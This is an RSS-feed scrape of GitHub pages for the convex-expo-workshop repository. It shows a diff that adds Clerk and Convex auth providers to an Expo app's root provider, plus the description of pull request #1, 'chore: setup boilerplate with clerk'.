            &lt;/summary&gt;
            
                            
              
              
              Show comments
            

                            

                              &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/ca75b337a14097f00ba865c24d8b5a0396117443/src/providers/index.tsx&quot;&gt;
   View file
&lt;/a&gt;


                                    


                                  


                            

                            

                            
&lt;a href=&quot;https://desktop.github.com&quot;&gt;
    Open in desktop
&lt;/a&gt;


                
            
          &lt;/details&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;


    &lt;div&gt;
      

          &lt;div&gt;
            




              
      
    
              &lt;table&gt;
                &lt;thead&gt;
                  &lt;tr&gt;
                      &lt;th&gt;Original file line number&lt;/th&gt;
                      &lt;th&gt;Diff line number&lt;/th&gt;
                      &lt;th&gt;Diff line change&lt;/th&gt;
                  &lt;/tr&gt;
                &lt;/thead&gt;
                &lt;tbody&gt;
                      
      &lt;tr&gt;
    &lt;td colspan=&quot;2&quot;&gt;
          
            
          
          Expand Up
    &lt;/td&gt;
    &lt;td&gt;@@ -6,27 +6,42 @@ import {DoobooProvider} from &amp;#39;dooboo-ui&amp;#39;;&lt;/td&gt;
  &lt;/tr&gt;

    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {theme} from &amp;#39;../theme&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {handleErrorConsole} from &amp;#39;../utils/error&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {ConvexReactClient} from &amp;#39;convex/react&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {ConvexProviderWithClerk} from &amp;#39;convex/react-clerk&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {ClerkLoaded, ClerkProvider, useAuth} from &amp;#39;@clerk/clerk-expo&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {tokenCache} from &amp;#39;../utils/cache&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;import {clerkPublishableKey} from &amp;#39;../../config&amp;#39;;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;interface Props {&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  initialThemeType?: ThemeType;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  children?: JSX.Element;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;const convex = new ConvexReactClient(process.env.EXPO_PUBLIC_CONVEX_URL!, {&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  unsavedChangesWarning: false,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;});&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;function RootProvider({initialThemeType, children}: Props): JSX.Element {&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  return (&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    &amp;lt;DoobooProvider&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      themeConfig={{&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        initialThemeType: initialThemeType ?? undefined,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        customTheme: theme,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      }}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    &amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;lt;ErrorBoundary&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        FallbackComponent={FallbackComponent}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        onError={handleErrorConsole}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        &amp;lt;ActionSheetProvider&amp;gt;{children}&amp;lt;/ActionSheetProvider&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;lt;/ErrorBoundary&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    &amp;lt;/DoobooProvider&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    &amp;lt;ClerkProvider tokenCache={tokenCache} publishableKey={clerkPublishableKey}&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;lt;ClerkLoaded&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        &amp;lt;ConvexProviderWithClerk client={convex} useAuth={useAuth}&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;          &amp;lt;DoobooProvider&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;            themeConfig={{&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;              initialThemeType: initialThemeType ?? undefined,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;              customTheme: theme,&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;            }}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;          &amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;            &amp;lt;ErrorBoundary&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;              FallbackComponent={FallbackComponent}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;              onError={handleErrorConsole}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;            &amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;              &amp;lt;ActionSheetProvider&amp;gt;{children}&amp;lt;/ActionSheetProvider&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;            &amp;lt;/ErrorBoundary&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;          &amp;lt;/DoobooProvider&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;        &amp;lt;/ConvexProviderWithClerk&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;      &amp;lt;/ClerkLoaded&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;    &amp;lt;/ClerkProvider&amp;gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;  );&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;}&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




  &lt;tr&gt;
    &lt;td colspan=&quot;2&quot;&gt;
          
            
          
          Expand Down
    &lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
  &lt;/tr&gt;


                &lt;/tbody&gt;
              &lt;/table&gt;

          &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;

  &lt;div&gt;
    &lt;div&gt;
      &lt;div&gt;
        


          &lt;div&gt;
            
            
          &lt;/div&gt;

          



          &lt;span&gt;
            1 change: 0 additions &amp;amp; 1 deletion
          &lt;/span&gt;
          &lt;span&gt;1 &lt;/span&gt;

        
&lt;span&gt;
  test/testSetup.ts

  &lt;span&gt;
  
      
      
  
&lt;/span&gt;
&lt;/span&gt;


        
      &lt;/div&gt;

      &lt;div&gt;
        &lt;div&gt;












          

          &lt;details&gt;
            &lt;summary&gt;
              &lt;div&gt;
                
              &lt;/div&gt;
            &lt;/summary&gt;
            
                            
              
              
              Show comments
            

                            

                              &lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/blob/ca75b337a14097f00ba865c24d8b5a0396117443/test/testSetup.ts&quot;&gt;
   View file
&lt;/a&gt;


                                    


                                  


                            

                            

                            
&lt;a href=&quot;https://desktop.github.com&quot;&gt;
    Open in desktop
&lt;/a&gt;


                
            
          &lt;/details&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;


    &lt;div&gt;
      

          &lt;div&gt;
            




              
      
    
              &lt;table&gt;
                &lt;thead&gt;
                  &lt;tr&gt;
                      &lt;th&gt;Original file line number&lt;/th&gt;
                      &lt;th&gt;Diff line number&lt;/th&gt;
                      &lt;th&gt;Diff line change&lt;/th&gt;
                  &lt;/tr&gt;
                &lt;/thead&gt;
                &lt;tbody&gt;
                      
      &lt;tr&gt;
    &lt;td colspan=&quot;2&quot;&gt;
          
            
          
          Expand Up
    &lt;/td&gt;
    &lt;td&gt;@@ -12,7 +12,6 @@ const customGlobal: GlobalWithFetchMock = global as GlobalWithFetchMock &amp;amp;&lt;/td&gt;
  &lt;/tr&gt;

    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;customGlobal.fetch = require(&amp;#39;jest-fetch-mock&amp;#39;);&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;customGlobal.fetchMock = customGlobal.fetch;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;global.__reanimatedWorkletInit = jest.fn();&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;&lt;br/&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




    &lt;tr&gt;
    &lt;td&gt;&lt;/td&gt;

    &lt;td&gt;&lt;/td&gt;

  &lt;td&gt;
    &lt;span&gt;jest.mock(&amp;#39;expo-router&amp;#39;);&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;




  &lt;tr&gt;
    &lt;td colspan=&quot;2&quot;&gt;
          
            
          
          Expand Down
    &lt;/td&gt;
    &lt;td&gt;&lt;/td&gt;
  &lt;/tr&gt;


                &lt;/tbody&gt;
              &lt;/table&gt;

          &lt;/div&gt;

    &lt;/div&gt;
  &lt;/div&gt;</content:encoded>
</item>
<item>
<title>chore: setup boilerplate with clerk by hyochan · Pull Request #1 · hyochan/convex-expo-workshop · GitHub</title>
<link>https://github.com/hyochan/convex-expo-workshop/pull/1</link>
<enclosure type="image/jpeg" length="0" url="https://opengraph.githubassets.com/fc7013e0b56961b54c6e95b97d2ee165bce1cb0a159affb068f72944d909c02b/hyochan/convex-expo-workshop/pull/1"></enclosure>
<guid isPermaLink="false">evXO44fOJc2pXe-wZzPU9wmE1Dc99GrbHXsTuQ==</guid>
<pubDate>Sat, 30 May 2026 03:28:37 +0000</pubDate>
<description>Description Setup boilerplate using Clerk. Later will work on authentication using Clerk and Convex Preview preview.mp4 Screenshot</description>
<content:encoded>&lt;header&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h1&gt;&lt;span&gt;chore: setup boilerplate with clerk&lt;/span&gt;&lt;span&gt;&lt;span&gt;#1&lt;/span&gt;&lt;/span&gt;&lt;/h1&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;Merged&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan&quot;&gt;hyochan&lt;/a&gt; merged 2 commits into&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main&quot;&gt;main&lt;/a&gt;&lt;span&gt;hyochan/convex-expo-workshop:main&lt;/span&gt;&lt;span&gt;from &lt;/span&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/chore/boilerplate-with-clerk&quot;&gt;chore/boilerplate-with-clerk&lt;/a&gt;&lt;span&gt;hyochan/convex-expo-workshop:chore/boilerplate-with-clerk&lt;/span&gt;&lt;span&gt;Copy head branch name to clipboard&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;Oct 1, 2024&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;Merged&lt;/span&gt;&lt;/div&gt;&lt;h2&gt;&lt;div&gt;&lt;span&gt;chore: setup boilerplate with clerk&lt;/span&gt;&lt;span&gt;#1&lt;/span&gt;&lt;div&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan&quot;&gt;hyochan&lt;/a&gt; merged 2 commits into&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/main&quot;&gt;main&lt;/a&gt;&lt;span&gt;hyochan/convex-expo-workshop:main&lt;/span&gt;&lt;span&gt;from &lt;/span&gt;&lt;div&gt;&lt;a href=&quot;https://github.com/hyochan/convex-expo-workshop/tree/chore/boilerplate-with-clerk&quot;&gt;chore/boilerplate-with-clerk&lt;/a&gt;&lt;span&gt;hyochan/convex-expo-workshop:chore/boilerplate-with-clerk&lt;/span&gt;&lt;span&gt;Copy head branch name to clipboard&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/h2&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/header&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;Conversation&lt;/h2&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;

&lt;a href=&quot;https://github.com/hyochan&quot;&gt;
  &lt;img src=&quot;https://avatars.githubusercontent.com/u/27461460?s=80&amp;amp;v=4&quot; alt=&quot;@hyochan&quot; title=&quot;&quot;/&gt;
&lt;/a&gt;&lt;div&gt;
  &lt;div&gt;
          &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;details&gt;
        &lt;summary&gt;  &lt;span&gt;
    
  &lt;/span&gt;
&lt;/summary&gt;

        
            &lt;span&gt;
  
      
              Copy link

  
&lt;/span&gt;              &lt;span&gt;
  
      
                Copy Markdown

  
&lt;/span&gt;        
      &lt;/details&gt;
    &lt;/div&gt;

    &lt;div&gt;
        

  &lt;span&gt;
    &lt;span&gt;Owner&lt;/span&gt;
&lt;/span&gt;

        

    &lt;/div&gt;
  &lt;/div&gt;

  &lt;h3&gt;
    &lt;div&gt;
      &lt;span&gt;
          &lt;img src=&quot;https://avatars.githubusercontent.com/u/27461460?s=48&amp;amp;v=4&quot; alt=&quot;@hyochan&quot; title=&quot;&quot;/&gt;
      &lt;/span&gt;

      &lt;strong&gt;
            &lt;a href=&quot;https://github.com/hyochan&quot;&gt;hyochan&lt;/a&gt;
  

      &lt;/strong&gt;

      

      commented


        Oct 1, 2024



      &lt;span&gt;
  &lt;span&gt;•&lt;/span&gt;

  &lt;details&gt;
    &lt;summary&gt;
      &lt;div&gt;
        &lt;span&gt;
          edited
          
        &lt;/span&gt;
        
      &lt;/div&gt;
    &lt;/summary&gt;
    
      
  
        &lt;span&gt;
      &lt;span&gt;Loading&lt;/span&gt;
&lt;/span&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;
    
  &lt;/details&gt;
&lt;/span&gt;

    &lt;/div&gt;

  &lt;/h3&gt;
&lt;/div&gt;

          &lt;div&gt;
        &lt;div&gt;
  
  
    &lt;div&gt;
      &lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;Setup boilerplate using &lt;a href=&quot;https://clerk.com/&quot;&gt;Clerk&lt;/a&gt;. Later will work on authentication using Clerk and &lt;a href=&quot;https://www.convex.dev&quot;&gt;Convex&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Preview&lt;/h2&gt;
&lt;details&gt;
  &lt;summary&gt;
    
    &lt;span&gt;preview.mp4&lt;/span&gt;
    
  &lt;/summary&gt;

  &lt;video&gt;

  &lt;/video&gt;
&lt;/details&gt;

&lt;h2&gt;Screenshot&lt;/h2&gt;
&lt;a href=&quot;https://private-user-images.githubusercontent.com/27461460/372425599-e9d84081-400d-4caa-b5e2-de8ee4bef596.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3ODAxMTIwMTcsIm5iZiI6MTc4MDExMTcxNywicGF0aCI6Ii8yNzQ2MTQ2MC8zNzI0MjU1OTktZTlkODQwODEtNDAwZC00Y2FhLWI1ZTItZGU4ZWU0YmVmNTk2LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA1MzAlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwNTMwVDAzMjgzN1omWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTU5MDJhZWFhZGE0MmUwYmM2NDAzMTczNDFjZDEzYWIxZjFjYjI4YjYwNTEwZTk4ZmU4MjE0N2U5YTYxMzY4MWYmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.TEsmqj5CexbD95MTatBTnLiZinXMvj4NJfGCBc4UyKU&quot;&gt;&lt;img src=&quot;https://private-user-images.githubusercontent.com/27461460/372425599-e9d84081-400d-4caa-b5e2-de8ee4bef596.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3ODAxMTIwMTcsIm5iZiI6MTc4MDExMTcxNywicGF0aCI6Ii8yNzQ2MTQ2MC8zNzI0MjU1OTktZTlkODQwODEtNDAwZC00Y2FhLWI1ZTItZGU4ZWU0YmVmNTk2LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA1MzAlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwNTMwVDAzMjgzN1omWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTU5MDJhZWFhZGE0MmUwYmM2NDAzMTczNDFjZDEzYWIxZjFjYjI4YjYwNTEwZTk4ZmU4MjE0N2U5YTYxMzY4MWYmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.TEsmqj5CexbD95MTatBTnLiZinXMvj4NJfGCBc4UyKU&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/a&gt;
    &lt;/div&gt;
  
  
&lt;/div&gt;

      &lt;/div&gt;

          
          
  
  &lt;p&gt;
    &lt;span&gt;
  &lt;/span&gt;
  &lt;/p&gt;
  &lt;p&gt;
    
    Sorry, something went wrong.
  &lt;/p&gt;

  &lt;div&gt;
    &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      

      &lt;h3&gt;        Uh oh!
&lt;/h3&gt;
      &lt;p&gt;        &lt;/p&gt;&lt;p&gt;There was an error while loading. Please reload this page.&lt;/p&gt;


&lt;/div&gt;  &lt;/div&gt;
&lt;/div&gt;  &lt;/div&gt;


                    &lt;div&gt;
          &lt;div&gt;
  
    
    &lt;div&gt;
      &lt;div&gt;
        &lt;details&gt;
          &lt;summary&gt;  &lt;span&gt;
    &lt;span&gt;All reactions&lt;/span&gt;
  &lt;/span&gt;
&lt;/summary&gt;

          &lt;ul&gt;
          &lt;/ul&gt;
        &lt;/details&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;
        &lt;/div&gt;


&lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;


    


      &lt;div&gt;
  
        &lt;div&gt;
  &lt;div&gt;
      &lt;div&gt;
  
  
  &lt;div&gt;          &lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      
&lt;div&gt;
  &lt;div&gt;
      &lt;a href=&quot;https://github.com/hyochan&quot;&gt;
